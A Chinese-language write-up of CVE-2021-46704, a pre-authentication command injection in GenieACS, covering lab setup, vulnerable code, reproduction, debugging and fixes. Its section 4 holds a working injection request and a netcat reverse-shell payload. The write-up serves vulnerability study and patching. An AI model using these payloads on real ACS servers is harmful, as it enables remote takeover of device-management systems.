GenieACS CVE-2021-46704认证前RCE漏洞分析
字数 916 2025-08-26 22:11:34

GenieACS CVE-2021-46704认证前RCE漏洞分析与利用指南

1. 漏洞概述

CVE编号: CVE-2021-46704
影响版本: GenieACS 1.2.x before 1.2.8
漏洞类型: 未认证的命令注入漏洞
CVSS评分: 9.8 (Critical)
漏洞位置: lib/ui/api.tslib/ping.ts
漏洞原因: 输入验证不足+授权检查缺失

2. 环境搭建

2.1 使用Docker搭建漏洞环境

推荐使用1.2.0版本进行漏洞复现:

cd /opt && git clone https://github.com/DrumSergio/GenieACS-Docker && cd GenieACS-Docker
sudo docker pull drumsergio/genieacs:1.2.0
sudo docker-compose up -d

重要配置项:

  • 需要修改容器中/opt/genieacs/lib/config.ts文件,将mongo默认地址改为实际MongoDB的IP地址
  • 建议额外开放9000-9003端口用于调试

2.2 环境验证

搭建完成后,访问3000端口应能看到登录界面(1.2.0版本界面不显示版本号)

3. 漏洞分析

3.1 漏洞调用链

GET请求 -> /api/ping/:host -> lib/ui/api.ts -> lib/ping.ts -> child_process.exec()

3.2 关键代码分析

lib/ping.ts中的漏洞代码:

export function ping(host: string, callback: (err: Error, res?: PingResult, stdout?: string) => void): void {
    let cmd: string;
    switch (platform()) {
        case "linux":
            cmd = `ping -w 1 -i 0.2 -c 3 ${host}`;  // 直接拼接用户输入
            break;
        case "freebsd":
            cmd = `ping -t 1 -c 3 ${host}`;  // 直接拼接用户输入
            break;
        default:
            return callback(new Error("Platform not supported"));
    }
    exec(cmd, (err, stdout) => {...});  // 执行系统命令
}

lib/ui/api.ts中的路由定义:

router.get("/ping/:host", async (ctx) => {
    return new Promise((resolve) => {
        ping(ctx.params.host, (err, parsed) => {...});  // 直接传递用户输入
    });
});

3.3 漏洞利用条件

  1. 未认证即可访问API接口
  2. 系统安装了ping命令
  3. 服务以足够权限运行(默认以genieacs用户运行)

4. 漏洞复现

4.1 基本利用

发送以下HTTP请求即可执行命令:

GET /api/ping/`id>%2ftmp%2faaaaa` HTTP/1.1
Host: target:3000
Accept: application/json, text/*

4.2 结果验证

在目标服务器上检查命令执行结果:

cat /tmp/aaaaa
# 应显示: uid=999(genieacs) gid=999(genieacs) groups=999(genieacs)

4.3 进阶利用

反弹Shell示例(URL编码后):

/api/ping/`nc%20-e%20%2fbin%2fsh%20192.168.1.100%204444`

5. 调试技巧

5.1 调试环境配置

  1. 修改/opt/genieacs/dist/bin/genieacs-ui文件头部:
#!/usr/bin/env node --inspect-brk=0.0.0.0:9000
  1. 创建调试脚本/opt/genieacs/debug.sh
npm run build
ps -ef | grep "node /opt/genieacs/dist/bin/genieacs-ui" | grep -v "/usr/local" | grep -v "grep" | awk '{print$2}' | xargs kill -9

5.2 日志调试法

修改lib/logger.ts添加调试函数:

export function mylog(Name, Value): void {
    error({message: "------0------" + Name + "-------0------"});
    error({message: Value});
    error({message: "------1------" + Name + "-------1------"});
}

查看日志:

tail -f /var/log/genieacs/genieacs-ui.log

6. 修复方案

  1. 升级到GenieACS 1.2.8或更高版本
  2. 手动修复方案:
    • 对host参数进行严格过滤
    • 添加认证中间件
    • 使用execFile替代exec

7. 参考链接

  1. 官方修复提交: GitHub Commit
  2. CVE详细描述: NVD Entry
  3. TR-069协议文档: CWMP Specification
GenieACS CVE-2021-46704认证前RCE漏洞分析与利用指南 1. 漏洞概述 CVE编号 : CVE-2021-46704 影响版本 : GenieACS 1.2.x before 1.2.8 漏洞类型 : 未认证的命令注入漏洞 CVSS评分 : 9.8 (Critical) 漏洞位置 : lib/ui/api.ts 和 lib/ping.ts 漏洞原因 : 输入验证不足+授权检查缺失 2. 环境搭建 2.1 使用Docker搭建漏洞环境 推荐使用1.2.0版本进行漏洞复现: 重要配置项 : 需要修改容器中 /opt/genieacs/lib/config.ts 文件,将mongo默认地址改为实际MongoDB的IP地址 建议额外开放9000-9003端口用于调试 2.2 环境验证 搭建完成后,访问3000端口应能看到登录界面(1.2.0版本界面不显示版本号) 3. 漏洞分析 3.1 漏洞调用链 3.2 关键代码分析 lib/ping.ts 中的漏洞代码: lib/ui/api.ts 中的路由定义: 3.3 漏洞利用条件 未认证即可访问API接口 系统安装了ping命令 服务以足够权限运行(默认以genieacs用户运行) 4. 漏洞复现 4.1 基本利用 发送以下HTTP请求即可执行命令: 4.2 结果验证 在目标服务器上检查命令执行结果: 4.3 进阶利用 反弹Shell示例(URL编码后): 5. 调试技巧 5.1 调试环境配置 修改 /opt/genieacs/dist/bin/genieacs-ui 文件头部: 创建调试脚本 /opt/genieacs/debug.sh : 5.2 日志调试法 修改 lib/logger.ts 添加调试函数: 查看日志: 6. 修复方案 升级到GenieACS 1.2.8或更高版本 手动修复方案: 对host参数进行严格过滤 添加认证中间件 使用execFile替代exec 7. 参考链接 官方修复提交: GitHub Commit CVE详细描述: NVD Entry TR-069协议文档: CWMP Specification